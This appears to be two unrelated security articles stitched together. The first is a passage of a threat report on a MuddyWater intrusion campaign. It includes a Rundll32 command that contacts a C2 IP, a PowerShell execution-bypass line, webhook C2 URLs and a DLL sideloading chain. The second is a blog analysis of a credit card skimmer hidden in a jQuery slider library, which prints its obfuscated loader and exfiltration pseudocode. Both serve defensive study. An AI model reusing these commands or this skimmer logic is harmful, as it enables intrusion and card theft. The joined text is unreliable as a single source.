as well as legitimate files that were used to achieve the group’s goals. The tools and techniques used by the group may be divided into several groups: 1. **Techniques** - **Exploitation** – In this operation MuddyWater used Exploitation techniques for two main 1-day vulnerabilities: - CVE-2020-1472 - An elevation of privilege vulnerability that exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC), aka 'Netlogon Elevation of Privilege Vulnerability'. - CVE-2020-0688 - A remote code execution vulnerability which exists in Microsoft Exchange software when the software fails to properly handle objects in memory, aka 'Microsoft Exchange Memory Corruption Vulnerability'. - **Macro** - A malicious macro embedded in an Excel file. The malicious piece of code installs three files used in the first stage of the infection. - **PowerShell code** – during the injection phase, a malicious file will be dropped to the victim’s network, containing a PowerShell code. - **VBA code** – A malicious VBS code is used through the injection phase, similar to the PowerShell code. - **Account theft** – the attacker compromised Domain Administration accounts, which will be used in DCSync attack. 2. **Self-developed tools** – tools ingeniously created for this campaign. We have identified several such tools used in this campaign, most of them files intended to infect the target computer. Most of these are legitimate files that were modified by MuddyWater. Following is a categorized list of those tools: - **Injection tools**: - PDF-based dropper – similarly to the implementation of a malicious Macro in Excel files, MuddyWater used a PDF file as their decoy document. The PDF was injected with malicious code, deploying files to the system. The deployed files are used in the second stage of the attack. - **Offensive tools**: - WebShell – the attacker installed an ASP.NET WebShell named IndexEchangeManagment.aspx. This WebShell drops the SSF.MX backdoor later in the process. - Covicli backdoor – after the decoy file is run in the system, the attacker uses a modified SSLeay32 dynamic library designated as a backdoor. The dynamic library allows the attacker to communicate with the C2 over OpenSSL. We call this backdoor “Covicli” due to its PDB paths – Covic\modules\cli.pdb. - SSF.mx – after the exploitation phase, the attacker will use WebShell to drop an exe file enabling them to communicate between two compromised machines in the network (Lan to DMZ for example) Socket proxy. Since it is installed on the exchange server, we regard it as a backdoor. Note that this filename (SSF.exe) was previously reported in a SecureWorks report. The original source-code can be found on GitHub, while the file we detected in the network was a modified variant of the original SSF. - PowGoop Loader – PowGoop is a loader that was exposed in a PaloAlto report and later used in Operation Quicksand. PowGoop is comprised of a DLL Loader and a PowerShell-based downloader. The malicious file impersonates a legitimate goopdate.dll file that is signed as a Google Update executable. ### Tools and Offensive Techniques Categorized with MITRE ATT&CK The different tools and techniques used by the group are divided in the following table according to their Kill Chain Method. In this comprehensive research, we identified 2 attack vector types – exploit-based (which will be mentioned as type A) and social engineering-based (which will be mentioned as type B). Following is the mentioned division by type: - **Type A**: Reconnaissance > Weaponization > Exploitation > Installation > Command and Control > Actions on Objectives - **Type B**: Weaponization > Delivery > Installation > Command and Control > Actions on Objectives. As observable, the chains are almost identical. However, the major difference between the attack vectors is the injection method. The following table shows the overlaps between the tools and techniques that we have found in the operation, dividing them according to attack vector – social engineering (type a) and vulnerability exploitation (type b). | Attack Vector | Kill Chain Phase | Techniques, Tools | Title | MITRE ATT&CK | |---------------|------------------|-------------------|-------|---------------| | A | Reconnaissance | Techniques | Domain Administrator account hunting | Account Manipulation - T1098 | | | | | OS Credential Dumping: DCSync | T1003.006 | | B | Weaponization | Tools | Covicli backdoor – modified CLI.dll file, allows the attacker to communicate with a C2 over SSL | Remote Services – T1021 | | | | | Scripting - T1064 | | | | | | Hijack Execution Flow: DLL Search Order Hijacking | T1574.001 | | A | Tools | SSF.mx backdoor – modified SSF.exe file, allows the attacker to communicate between two machines in the network (that were already compromised) | Remote Services – T1021 | | | | | Scripting - T1064 | | | | | | Hijack Execution Flow: DLL Search Order Hijacking | T1574.001 | | B | Delivery | Techniques | Sending an email carrying a decoy file | Conduct social engineering - T1268 | | | | | Obfuscated Files or Information | T1027 | | A | Exploitation | Techniques | CVE-2020-1472 | External Remote Services - T1133 | | | | | CVE-2020-0688 | | | B | Installation | Tools | Visual Basic Macro code – Embedded in excel | Scripting - T1064 | | | | | User Execution: Malicious File | T1204.002 | | B | Tools | PowerShell code | Command and Scripting Interpreter: PowerShell | T1059.001 | | | | | PowerShell | T1086 | | B | Tools | Malicious PDF (dropping files) | User Execution: Malicious File | T1204.002 | | | | | Exploitation for Client Execution | T1203 | | A | Techniques | External Webshell over the internet | Web Shell – T1100 Remote Services – T1021 | | A+B | Procedures | Modify Registry keys | Modify Registry - T1112 | | A | Procedures | Archives (WinRAR or 7-ZIP) | Data Compressed – T1002 | | A | Command & Control (C2) | Techniques | Socket | Uncommonly Used Port - T1065 | | B | Techniques | Communication with C2 over SSL and TCP (Port 80) | Web Service – T1102 | | | | | Signed Binary Proxy Execution: Rundll32 | T1218.011 | | A + B | Actions on Objectives | Procedures | Scheduled Task | Scheduled Task/Job - T1053 | | A + B | Tools | PowGoop Loader | Ingress Tool Transfer – T1105 | | | | | User Execution: Malicious File | T1204.002 | | A + B | Procedures | Distribution in the network | Exploitation of Remote Services – T1210 | | A + B | Techniques | Data Encryption | Data Encrypted for Impact – T1486 | ## Modus Operandi ### Introduction An attack campaign waged against prominent Israeli organizations was revealed during the first week of September through our monitoring system. We identified many resemblances in TTPs with previous attacks, attributing the current campaign to MuddyWater accordingly. During our analysis, we were able to identify PowGoop’s payload in several organizations, with similarities to TTPs reported in the PaloAlto report. The first attack vector included exploiting vulnerabilities in the victim’s network, installing relevant tools that enable the attacker to gain persistency, and downloading the PowGoop payload. The second attack vector is more “common” and includes social engineering methods and a malicious Macro in its infection phase. In this chapter, we will present a summary of the two attack vectors used by the group. Both infection vectors will be covered (and will be divided based on the tools, techniques, or procedures the attacker use), followed by the installation of PowGoop, which was exposed as the loader of Thanos. ### Exploit-based Vector (Vector A) #### Exploitation The first attack vector entails exploiting known vulnerabilities in OWA, Microsoft Exchange servers or using ZeroLogon Windows vulnerabilities. These are followed by vulnerabilities with different access systems that were used by the attackers: - **CVE-2020-0688** Microsoft Exchange vulnerability A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory, aka the 'Microsoft Exchange Memory Corruption Vulnerability'. The exploitation provides the attacker SYSTEM level code execution privileges. - **CVE-2020-1472** Netlogon Remote Protocol (MS-NRPC) vulnerability An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC), aka 'Netlogon Elevation of Privilege Vulnerability'. #### Installation **Installing a WebShell** After exploiting the vulnerability in the exchange server, a WebShell will be uploaded to the compromised server. During our IR investigation, we identified a WebShell named ‘LiveIdError.aspx’ which indicates this specific vulnerability. Note that this is the only known vulnerability through which this WebShell is dropped. This WebShell was used to download another ASP.NET WebShell as a payload. The second WebShell is named ‘IndexExchangeManagment.aspx’ (Note the misspelled ‘management’ word): The attacker required privileged credentials to successfully execute the exploitation. We assess that the attacker stole these credentials by deploying Mimikatz. Moreover, we identified a GitHub profile with the explanation of the execution of the vulnerability. This profile is also based in Iran. **SSF.mx - Malware** Using this WebShell, a zip file is dropped to the victim’s network. The file archived in the zip is a portable executable file named SSF.exe. This file was also reported in SecureWorks’ report as one of the payloads MuddyWater installs in compromised servers. This tool is based on a publicly available open-source toolkit that enables Secure Socket Funneling (SSF) between the C2 and the remote compromised server or between two machines that were compromised in the victim’s network. The tool allows the attacker to send data from multiple sockets over TCP or UDP ports through a single secure TLS tunnel. In our analysis, we found out that SSF.mx is a variant of the SSF tool from GitHub. This variant also allows the attacker to execute shell commands across the network (for lateral movement or between internal machines that were encrypted). Note that after the installation of PowGoop loader, we identified attempts to delete SSF.mx files from the network. #### Command and Control After gaining access to the victim’s network, the attacker started conducting reconnaissance. We identified queries for Domain Administrator accounts and enumeration attempts for specific domains in the network. Using the SSF.mx secure tunnel, the attacker spread the PowerShell scripts and executes them. We identified the distribution of the PowGoop loader to the system. A scheduled task is also generated by the attacker. This task would take part in running GoopDate.dll (PowGoop). ### Social Engineering-Based Vector (Vector B) #### Delivery The second vector is more in line with common MuddyWater vectors. As mentioned, there is a possibility that Vector A was utilized only after initial access was obtained using Vector B. In the beginning of the delivery stage, the target receives a link to their corporate email, joined by a link to a file storing service. Through this service the victim encounters a ZIP containing the infected file: The ZIP contains one of two types of file: - An Excel file containing a malicious macro which communicates with the C2 server, typically a breached server controlled by the attackers. - A PDF file that drops a malicious dll file to the victim’s network. This is a relatively new vector for MuddyWater. #### Installation **Visual Basic Macro code – Embedded in excel** From the malicious macro embedded in the excel file we can derive that the file used in the attack was previously a test file. The macro is divided into different parts. Each part of code is encoded in different ways, including ASCII, XOR, and base64. Following is the code before decoding and decrypting: After combining and decoding all the parts, the excel is run a second time through a COM component (taskschd.dll) in the background: `"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding"` With this component, 2 pieces of PowerShell code are downloaded to the computer. After that, a Scheduled Task is automatically run, to activate WScript: This PowerShell code communicates with a breached server from which the group downloads malicious files used as the malware’s “Stage 2”. The second server is a C2 server used as storage for additional files, not necessarily breached. The communication in this instance is carried out through a file named dl which contains PowerShell commands. Following is the command that allows running this file (can also be seen in the code): `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -file C:\users\public\dl.ps1` Communications to the server are carried out with GET commands in TCP format (under port 443). Following is the specific command to download the file: `$url = 'hxxps://webmail.lax.co[.]il/owa/auth/Current/Script/jquery-3.5.1.min.js` A VBS file called db.vbs is downloaded from the server and stored in the Public folder. The aforementioned file is an additional PowerShell command, which extracts a third ps1 file. This file, called putty.ps1, allows for communication between the second C2 server in this infrastructure and the infected machine, as preparation for the downloading of the malware to the machine. The aforementioned C2 server is a webhook (Reverse API), from which the attackers download a specific file stored at the site. Following are three additional webhooks (aside from the webhook in the screenshot), which we have identified throughout the investigation: - `hxxps://webhook[.]site/7c1564f7-4e3c-4082-b1f8-3b52da3d9941` - `hxxps://webhook[.]site/861f0c6f-238a-4878-8e44-0ca078ad9b2c` - `hxxps://webhook[.]site/f4c2dba3-bdba-44a3-b8b8-f292b6fb8a7b` The Covicli backdoor will be downloaded from this webhook to the victim’s compromised server. **Malicious PDF (dropper)** Similar to the Excel vector, an archive file (mainly ZIP) was sent to an employee of the organization we investigated. The file accordingly is in Hebrew, and is about a loan. Once the malicious executable is running, two files are unloaded to the machine: a legitimate PDF and a malicious DLL. It appears that the attackers have advanced their security system avoidance techniques, implementing several camouflaging components designed to refrain from triggering Windows Defender. The attackers manage to bypass many identification systems, making technical investigations much more difficult. Additionally, the use of Hewlett-Packard MFP was identified, in place of the NSIS executable. In the meantime, another folder will be created in the path: `C:\users\<username>\AppData\Local\` To gain persistency, the malicious file will be copied to the %temp% folder followed by its deletion from the original folder. Another file will be copied to the Startup folder with a PDF’s icon. The attacker will also create a scheduled task for a PowerShell that runs a file named xca_db_stat.exe. Then, the attacker will create 2 registry keys on the following path: `\HKEY_CURRENT_USER\Software\Electrum` Here is a table presenting the new values: | Value Name | Details | |------------|---------| | Elec | Base64 string that contains data for communication with the C2: - IP of the C2 - ID - Key - Cookie | | Scan | Text string | ### Covicli Backdoor From the C2, a dll file named SSLeay32.dll will be downloaded. This file is a modified OpenSSL dynamic library, which was modified for the hacker’s purposes. We identified the following PDB path: `G:\Project\Covic\Modules\CLI.dll`. Due to the appearance of the word Covic, and the original name given to the file (CLI.dll) by the threat actor, we named this backdoor Covicli. This file also contains a module version ID of .net4: #### Command and Control The attacker uses the following command line in order to communicate with the C2 over OpenSSL: `Rundll32.exe C:\ProgramData\RozellaBobine\ssleay32.dll, DllRegisterServer hxxp://185.183.96[.]61:80/downloadc.php?key=WKXKgRkJsT` This server’s Header displays the server’s location as if it is associated with the Azerbaijani government. The result of this is diverging access to the server through port 80 but without the path to the following site. The malware itself generates a scheduled task named Updater that communicates with the server using PowerShell (on port 80), much like MoriAgent. ### Actions on Objectives If the connection to the C2 was successful, the PowGoop loader will be installed in the system. After the installation, the attacker tried to delete SSF.mx task from the network by using the following command: In our research, we found five components of PowGoop array: - GoogleUpdate.exe - Legitimate signed binary - goopdate86.dll - Legitimate DLL, vulnerable to a DLL sideloading attack. - goopdate.dll - First loader of PowGoop. - goopdate.dat - Second loader of PowGoop. Obfuscated on disk. Decodes PowerShell downloader component. - config.txt - Encoded PowerShell downloader. This is a slightly different variant originally found in the report by Palo Alto (which reported about 4 components). The loader from PaloAlto report was split into two components. The second loader found in this attack matches the functionality of the only loader described in Palo Alto’s report. This suggests it was used as a technique by the attacker to obfuscate part of the loader that was detected by antivirus scanners. The GoogleUpdate.exe used with the malware is a legitimate binary, but it is vulnerable to a DLL-sideloading attack. One of Google Update’s dependencies is a DLL named goopdate86.dll which then has a dependency of goopdate.dll. The malware works by replacing the original goopdate.dll by a malicious DLL containing the same filename. By replacing the legitimate goopdate.dll with a malicious one, GoogleUpdater.exe ends up loading the malicious payload into memory. The PowGoop malware works as follows: - GoogleUpdate.exe (legitimate binary) loads legitimate goopdate86.dll into memory. - goopdate86.dll loads the malicious goopdate.dll into memory (side-loading). - Malicious goopdate.dll launches rundll32.exe with the parameter DllRegisterServer. - The export DllRegisterServer from the malicious goopdate.dll gets run, which loads the second, obfuscated loader goopdate.dat, into memory. - The script embedded in the second loader then decodes config.txt, revealing another PowerShell script once decoded, and then executing the now decoded script. - The encoded script then connects to a C2 and acts as a downloader waiting for new payloads. Following a screenshot from our investigation presents the execution of PowGoop in the machine, and the PowerShell script that was extracted from. Unlike the .dat file in PaloAlto report, in this case the loader used goopdate.dat file. Note that this file shares the same PDB path with the Covicli backdoor: `G:\Project\Covic\Modules\goopdate.pdb`. In both cases, the PowGoop loader payload was downloaded from the C2 (which we attributed to MuddyWater based on unique server signature). Once this payload is run successfully, a Thanos Ransomware payload can be downloaded to the server, which is compatible with the scenario PaloAlto described in their report. ## Attribution “MuddyWater” group is one of the most active Iranian APTs, targeting Israeli organizations since at least 2018. Over the past few years, we have uncovered a number of “social engineering” attack scenarios conducted by the group. Campaigns by the group have targeted individuals, companies, organizations, and governments. We also identified attacks by the group targeting internal Iranian actors. The group’s campaigns may be categorized into three distinct periods and attack scenarios (ordered chronologically): 1. **Initial Wave of Attacks – “PowerStats” era** – this attack TTP was using Office documents as an entry vector, Word documents at first, then transferring to Excel files two years later. These documents were used to activate malicious macros that communicate with a hacked C2, download PowerShell codes, connect to an additional server, and finally to install the PowerStats RAT. “PowerStats” named after another group’s moniker “StaticKitten”. 2. **Second Wave – DNS Tunneling** - During this period, the group used the same Office documents, only instead of connecting to a hacked server the group performed DNS queries to self-owned servers. The main tool utilized by the group is a DLL named ForeLord, constituting a RAT. Some of the domains addressed by the group were registered such that they impersonate security companies, for example Trend Micro, Kaspersky, and ClearSky itself. 3. **Third Wave – PudPoul/MoriAgent** – during the past few months we have located a new attack campaign by the group, characterized by generating executables that unload two main files to the machine: a legitimate PDF and a malicious DLL named MoriAgent. As the investigation continued a MoriAgent variant was uncovered, named PudPoul after the file pudding.dll. This attack scenario is the most recent and up to date regarding the group. It is worth noting that throughout this campaign we have only identified the installation of the tool on the target network, but no direct application of said tool towards any specific aim. This differs from the PowerStats and DNS tunneling periods, and as such prevents ClearSky from determining the absolute purpose of the campaign (intelligence gathering, destruction, or a combination of both in the form of an intelligence gathering campaign turned destructive). A Palo Alto research regarding a destructive (wiper) malware named Thanos that impersonates ransomware during activation was published last week. ClearSky identified many congruences with the PudPoul files, leading to a MuddyWater association. Still, ClearSky holds several reservations regarding the association, which should be duly considered: - The group has acted towards intelligence gathering and espionage for the Iranian regime so far, in place of destructive attacks. - The group continues to employ attack scenarios based on social engineering. - The Iranian APT33 does conduct destructive attacks but has yet to be linked with MuddyWater. It is possible that due to the advancing confrontation with Israel, and simply developments of attack methods over time, that the group had undergone an organizational/strategic evolution (or simply received new instructions) into destructive attacks. During ClearSky’s investigation we have located several additional files and C2s that operate as part of the attack infrastructure. Once the tool is deployed, keys are exchanged, and persistence on the network is established, the group generates communications with its C2, this apparently to install malware that appears to be ransomware. In light of the exposure of Thanos, ClearSky assesses that the group is attempting to employ destructive attacks (the likes of the NotPetya attack from 2017). ## Summary and Insights MuddyWater updated their TTPs, as well as their level of sophistication, mainly during 2020. We assess that during this year MuddyWater began to work for the IRGC, acting as a contractor for additional cyber security operations. Since the group was discovered a few years ago, their priority was only CNE (espionage), against private organizations, government organizations, ministries, and agencies. The group relied mostly on social engineering methods. For example, in late 2019 we discovered an attempt to attack a journalist that worked for a prominent US media outlet. In the first stage of the attack, MuddyWater emailed the victim without sending any file or link. The group tried to schedule a physical meeting with the victim, and only after he made it clear that he cannot have the meeting, the group sent him a malicious file. Unlike this past TTP, we identified exploitation of vulnerabilities as the major injection vector in the current campaign. We assess that the level of sophistication inherent to the group is high. Israel and other countries that are under the threat of this group have to harden their network and be prepared for more camouflaged destructive campaigns. This time, the attack was prevented, and therefore we cannot prove that MuddyWater installed PowGoop in the victim’s network for a destructive attack. However, we adopted the assessment by PaloAlto regarding the purpose of this loader. MuddyWater’s capabilities are not extremely unique, and this attack seems like an escalation of their aggression level, rather than a completely new form of attack (as was the case in the reported Fox Kitten attack). However, it is noteworthy that in this attack the previous infiltration into the systems of the Israeli organizations was used as to gain trust and thus provide a basis for further attacks. The tension between Israel and Iran in the cyber domain might be an explanation for this evolution. This tension began a decade ago, with the Stuxnet malware that was attributed to Israel and the US, and the Iranian response. One of the retaliations of this attack was the mentioned destructive Shamoon attack which was attributed to another Iranian threat actor – APT33. This year displayed a new phase of this tension, beginning with the uncovering of the Fox Kitten operation and the alleged attack by Iran against the water authority of Israel. The retaliation for Ghasem Soleimani’s death is another possible explanation for the attack. The assassination caught Iran off-guard. On the same day, the wiper ‘Dustman’ was exposed. We assess that another potential explanation for Operation Quicksand is retaliation for the assassination, and the timing was dependent on the toolset the Iranian threat actor possessed at the time. ## Indicators of Compromise ### Hashes | Hash | File Name | VT Relevant | Type | |------|-----------|-------------|------| | b07d9eca8af870722939fd87e928e603 | SSF.exe | US | SSF.mx backdoor | | ee2d1e570be5d53a5c970339991e2fd7 | AutodiscoverExchangeManagment.aspx | UAE | WebShell | | 01160fd8afe8f133b7a95755ead39679 | האוולהל ינורקע רושיא | US | ZIP for PDF decoy | | dbadc2caee829baf5531703f6741a9d3 | האוולהל ינורקע רושיא | IL | PDF decoy | | 2534e46be860170f2237c65749af4435 | Confidential-Letters.zip | IL | Zip for Excel decoy | | 2e6169253a87a9d67037b1a238d46365 | Confidential Letters(Names).xls | IL | Excel Decoy | | f44a238a1f6a77fe169099 | - | - | Persistency PDF | | f8bb7f04b367a2e261e2bde3eefd66ad858493f37d | [Untitled].pdf.exe | - | - | | 2C3D8366B6ED1AA5F1710D88B3ADB77D | dl.ps1 | IL | PowerShell | | 2E7B4AE4BAA704588248B425B8E027BF | Putty.ps1 | - | PowerShell | | BBE9BB47F8DD8BA97250BF7F13187AB6 | 2.vbs | - | VBS code | | 5c000ef1e5c6f50cc32c6d70837bd1b2 | db.vbs | IL | VBS code | | fbe65cd962fc97192d95c40402eee594 | CLI.dll / ssleay32.dll | - | Covicli backdoor | | 4d161d67c8cb5c44902b7ebaef131aaf | xca_db_stat.exe | - | Legitimate file | | 1d6f241798818e6fdc03015d01e1e680 | Goopdate.dll | - | PowGoop | ### URLs and C2 Addresses The following IP addresses were successfully accessed by the attack group to be used as C2 of Operation Quicksand: | URL | IP | ASN | |-----|----|-----| | hxxps://webhook[.]site/7c1564f7-4e3c-4082-b1f8-3b52da3d9941 | - | - | | hxxps://webhook[.]site/861f0c6f-238a-4878-8e44-0ca078ad9b2c | 46.4.105[.]116 | Hetzner Online GmbH | | hxxps://webhook[.]site/f4c2dba3-bdba-44a3-b8b8-f292b6fb8a7b | - | - | | hxxps://webmail.lax.co[.]il/owa/auth/Current/Scrpti/quejry-3.5.1.min.js | 212.143.154[.]158 | Cellcom Fixed Line Communication L.P. | | hxxps://ws.onehub[.]com/files/gxvrqwzu | - | - | | hxxp://185.183.96[.]61:80/downloadc.php?key= | 185.183.96[.]61 | - | | hxxp://185.183.98[.]242/default.php | 185.183.98[.]242 | - | | - | 185.82.202[.]70 | - | | - | 185.244.149[.]215 | Host Sailor LTD | | - | 185.183.96[.]28 | - | | - | 185.117.75[.]101 | - | | - | 185.82.202[.]66 | - | ---
# Ticket Resellers Infected with a Credit Card Skimmer First and foremost, I’d like to thank Jacob Pimental since he posted the initial lead, after which we joined forces to dive into this case. In his now deleted Tweet, he asked if anybody could help out with a potential credit card skimmer on the OlympicTickets2020 website. ## Background Information Before diving into this case, I’ll highlight the modus operandi that most credit card skimmers use. There are certain JavaScript files that are loaded on all web pages. Prime examples of this are jQuery or Bootstrap libraries. Since they are present on all pages, these files are the perfect target to also contain the JavaScript-based credit card skimmer code. Essentially, the visitor will run this code on every web page that is visited. Enumerating and breaching websites takes time, and the skimmer’s life span is of unknown duration. The code could be detected within a few hours or stay there for months. To increase the effectiveness of the skimmer, actors try to breach content delivery networks that host the commonly used libraries. Whilst this approach brings greater income, it will likely lead to a faster detection, as the online presence of the script is much bigger. Note that not all sites that use the infected library are e-commerce shops. At last, the skimmers are generally obfuscated to make it harder for detection mechanisms to detect the code. ## Back to the Case Based on Jacob’s suspicion, I took a look at the given JavaScript file. This file (located at /dist/slippry.min.js) contained a small description, together with code. The description is given below. ```javascript /** @preserve * * slippry v1.4.0 - Responsive content slider for jQuery * http://slippry.com * * Authors: Lukas Jakob Hafner - @saftsaak * Thomas Hurd - @SeenNotHurd * * Copyright 2016, booncon oy - http://booncon.com * * Released under the MIT license - http://opensource.org/licenses/MIT */ ``` Per the header, the script should contain a responsive content slider for jQuery. After beautifying the script, the aforementioned modus operandi became apparent. An existing piece of JavaScript was abused to hide the malicious code. In this case, the library was hosted on the targeted site itself. There is no information as to how the malicious code got appended to the library. ### Stage 1 – The Loader The complete slippry file can be defined in the below given pseudo code. ```javascript /** * Description */ function sliderfunctionX() { ... } function sliderfunctionY() { ... } //... (function skimmer() { ... })() ``` The original code was left untouched, and the skimmer function would be executed the moment the rest of the JavaScript was loaded. When retrieving the function definition of the skimmer, it reminded me of a blog post I wrote about the Magecart skimmer in March 2019. The structure of the loader is, aside from the random variable names and script content, exactly the same. For a complete and in-depth overview, I can advise to read the above-mentioned write-up. The complete first stage consists of garbage code, string obfuscation, string concatenation operations, and a decryption routine. The structure is given below in pseudo code. ```javascript var a = "encryptedScriptPart1" + "encryptedScriptPart2"; var b = "encryptedScriptPart3"; var encryptedScript = document["cr" + (74 > 4 ? "\x65" : "\x60") + "ateEle" + "m" + (81 > 6 ? "\x65" : "\x5b") + "nt"]("div"); var encryptedScript = a + b; var script = ""; for (var i = 0; i < script.length; i++) { //decryption routine to fill script with the decrypted content of encryptedScript } constructor(script); ``` Practically, this looked a little bit less readable, as can be seen in the excerpt below. ```javascript var I80 = "0a0w0w0w0w0w0w0w0w0w0w0w0w2u39322r382x333 20w2w2" + "w14382t3c38153f0a0w0w0w0w0w0w0w0w0w0w0w0w" + "0w0w0w0w2x2u0w14382t3c381a302t322v382w0w1p 1p0w1c150w362t383936320w1c1n3a" + "2p360w2w2p372w0w1p0w1c1n0a0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w"; var yc8 = "z2l1b2v180y0y1515152. j0y380y17141j1h1q1f1k1r"; var C46 = document["cr" + (74 > 4 ? "\x65" : "\x60") + "ateEle" + "m" + (81 > 6 ? "\x65" : "\x5b") + "nt"]("div"); var TLM = ""; for (var W5A = ("KL4b>q5\x7fE%\x87XHl=i" ["charCodeAt"](2) * 0 + 0.0); W5A < C46["l" + (59 > 0 ? "\x65" : "\x60") + "n" + "" + (55 > 0 ? "\x67" : "\x5f") + "th"]; W5A += (0 * "U4+z[-#V/v.)X" ["charCodeAt"](7) + 2.0)) { TLM += String["fromC" + String.fromCharCode(104) + "ar" + "Cod" + (93 > 16 ? "\x65" : "\x5b") + ""](parseInt(C46["" + (87 > 46 ? "\x73" : "\x6b") + "ubs" + "t" + (85 > 2 ? "\x72" : "\x6d") + ""](W5A, ("ACljF\x60q&sp@SI" ["length"] * 0 + 2.0)), TpU)) }; W4L = "34302p2r2t0y2l141b2j1l391u262k2j321g2k1q2q. 2"; ih3["" + String.fromCharCode(116) + "oStri" + "" + String.fromCharCode(110) + "g"] = NbZ["c" + String.fromCharCode(111) + "n" + "" + (76 > 38 ? "\x73" : "\x6b") + "tructor"](TLM); ``` The variable named TLM contains all the code for the second stage. As such, one can print the content of the variable and remove the line where the constructor is invoked. Running the code in the browser’s console or using node from the terminal suffices. ### Stage 2 – The Skimmer The second stage contains the actual skimmer in obfuscated form, together with an integrity check, string obfuscation, and dead code insertion. The integrity check is done to verify that the script is not altered. In the code below, the hashing function is given, together with the integrity check. ```javascript function hh(text) { if (text.length == 0) return 0; var hash = 0; for (var i = 0; i < text.length; i++) { hash = ((hash << 5) - hash) + text.charCodeAt(i); hash = hash & hash; } return hash % 255; } var body = window.bAQ.toString().replace(/[^a-zA-Z0-9\-"]+/g, ""); var crc = body.match(/aeh3jiqq7nr76my8hfmg([\w\d\-]+)"/g)[0].replace("aeh3jiqq7nr76my8hfmg", ""); crc = crc.substr(0, crc.length - 1); body = hh(body.replace("aeh3jiqq7nr76my8hfmg" + crc, "aeh3jiqq7nr76my8hfmg")) == crc ? 1 : window["stO"](""); ``` The dead code can easily be recognized, as it is not used anywhere else. A variable that is only declared and instantiated can just as well be removed. The string obfuscation can easily be removed by copying code into the browser’s console and using the generated output. An example is given below. ```javascript JZO = ("nLe+." ["length"] * 63 + 0.0); var fl7 = ("C\x88bSIM\x81-c3" ["charCodeAt"](4) * 6 + 39.0); var ufN = "(ht;X5y<rSmX-F6gOq3zOI" ["replace"](/[\<Orh6m\;\(5\-3]/g, ""); ``` The variable names of the original script weren’t randomized and contained names like gatelink or nowwork. The deobfuscated result is a clear skimmer. So clean, that directly sharing it feels irresponsible, as one only needs to alter two variables to make it work again. As such, I’ll only provide the pseudo code to explain the inner workings. ```javascript var gatelink = "https://opendoorcdn.com/cdn/font.js"; var method = "POST"; var thisdomain = window["location"]["host"] || "nodomain"; var datacollect = false; var cachelenght = 50; var nowwork = true; function removeLocalStorageData() { ... } function resetLocalStorageData() { ... } function getValuesFromFields() { ... } function exfiltrateData() { ... } function addEventListeners() { ... } if (("/onepage|checkout|store|cart|pay|panier|kasse|order|billing|purchase|basket/")["test"](window["location"])) { nowwork = true; if (nowwork) { addEventListeners(); if (localStorage["getItem"]("_google.verify.cache.001") !== null && localStorage["getItem"]("_google.verify.cache.001")["length"] > cachelenght) { resetLocalStorageData(); window["addEventListener"]("unload", exfiltrateData()); } } else { removeLocalStorageData(); } } ``` Note that the keyword function is not executable in the current form. This is done intentionally, as this pseudo code only serves to show the skimmer’s functionality. It is not intended to serve as a proof-of-concept piece of code. Only if the current website contains one of the trigger words, the skimmer becomes active. It adds event listeners to all forms on the website, base64 encodes the data. If the amount of captured data is more than 50 characters, an additional event listener is created to execute the exfiltrateData function just before the page unloads. Upon confirming the order, and just before leaving the page, the data is exfiltrated to the given domain using a POST request. As a result, the customer’s details are skimmed. On the payment page of the targeted sites, the word order is present in the URL, meaning the skimmer would activate. ## Connecting the Dots After making sure that the skimmer was indeed present, there were two questions left. Since the infection did not occur via a CDN, it is hard to find out how widespread this infection is. Secondly, we wanted to know how long the skimmer had been in place. ### Finding Other Sites Jacob searched for the JavaScript library’s hash on UrlScan, which shows that this specific file is also present on another site: eurotickets2020.com. The layout and looks of the two sites are rather familiar. When looking on the about page, the same owner can be found. Additionally, the phone number for customer support is also the same. ### Dating Back the Infection To find the first observations of the skimmer in the wild, I tried my luck on the Wayback Machine and found one hit for each site. The skimmer on the OlympicTickets site was indexed on the third of December 2019. The skimmer on the EuroTickets site was indexed on the seventh of January 2020. At the time of writing (the 21st of January 2020), this skimmer has been active for 50 days (or 15 days in case of the EuroTickets site). The skimmer was taken down from both OlympicTickets and EuroTickets during the writing of this article, making the mentioned days the total amount of days that the skimmer was present. As one can see in this copy in the Wayback Machine, the website’s layout is partially broken due to the lack of the jQuery library. It is still referenced in the code, but it does not exist on the server right now. The next step was to contact the site’s owners with our findings in a responsible manner. ## Responsible Disclosure Before posting these details online, one should contact the company to resolve the problem at hand. This also gives them some time to issue a statement to their customers. On the other hand, you cannot wait for an extended period of time if the company does not respond (or does not acknowledge the problem), as this puts the customers in danger longer than need be. Directly after our findings, we e-mailed them via the provided e-mail address, we Tweeted to both OlympicTickets and EuroTickets to inform them of the skimmer. Since there was no response on any of these during the weekend, I contacted them on Monday morning via their live chat support system. The first contact was not followed up upon after leaving my phone number. The second contact via the live chat provided us with the information that the security team could not find anything, after which the case was closed. Jacob gave them a call with the request to look into it again. The day after, I contacted them again via the live chat system. Despite our instructions, the security team could not find the skimmer. This again led to the closure of the ticket. During that evening, the script got removed from the site. ## Conclusion If you have shopped at either olympictickets2020.com or eurotickets2020.com between the third of December 2019 and the 21st of January 2020, your credit card credentials are likely to be compromised. Please request a new credit card and contact your bank accordingly. Also note that all information that was entered on the site’s payment form was stolen by the credit card skimmer and should be considered compromised. I’d like to thank Jacob for the splendid cooperation during our work on this case. Even though we live in different time zones, as well as the fact that we only conversed via chat, we worked on the case simultaneously and in parallel where possible.
